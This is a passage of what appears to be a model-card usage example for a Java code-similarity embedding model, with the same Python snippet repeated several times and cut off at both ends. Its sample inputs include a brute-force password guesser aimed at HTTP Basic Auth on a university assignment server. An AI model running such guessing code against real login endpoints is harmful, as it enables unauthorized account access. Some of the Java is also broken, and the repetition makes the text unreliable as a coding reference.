BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
